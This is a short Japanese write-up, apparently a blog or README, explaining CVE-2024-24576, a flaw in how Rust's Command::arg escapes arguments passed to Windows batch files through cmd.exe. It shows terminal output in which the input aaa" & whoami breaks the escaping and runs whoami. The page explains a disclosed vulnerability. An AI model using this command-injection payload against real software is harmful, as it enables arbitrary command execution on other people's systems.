
CVE-2024-24576 の使用例。
Command::arg および Command::args API は、ドキュメントにおいて、引数がそのまま生成されたプロセスに渡され、引数の内容にかかわらずシェルによって評価されることはないと述べています。つまり、信頼できない入力を引数として渡しても安全であるはずです。
Windows では、この実装は他のプラットフォームよりも複雑です。Windows API は生成されたプロセスに渡すすべての引数を含む単一の文字列しか提供せず、それらを分割するのは生成されたプロセスの役割だからです。ほとんどのプログラムは標準 C ランタイムの argv を使用するため、実際には引数がほぼ一貫した方法で分割されます。
ただし、1つ例外があります。cmd.exe(バッチファイルの実行などに使用される)は、独自の引数分割ロジックを持っています。そのため、標準ライブラリはバッチファイルに渡される引数に対してカスタムエスケープを実装する必要がありました。残念ながら、このエスケープロジックは十分に徹底されておらず、悪意のある引数を渡すと任意のシェル実行が可能になることが報告されていました。
main.rs ファイルを以下のペイロードで実行すると、次のようになります。
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
" whoami でエスケープされた引数に注目してください。
私の発見ではありません!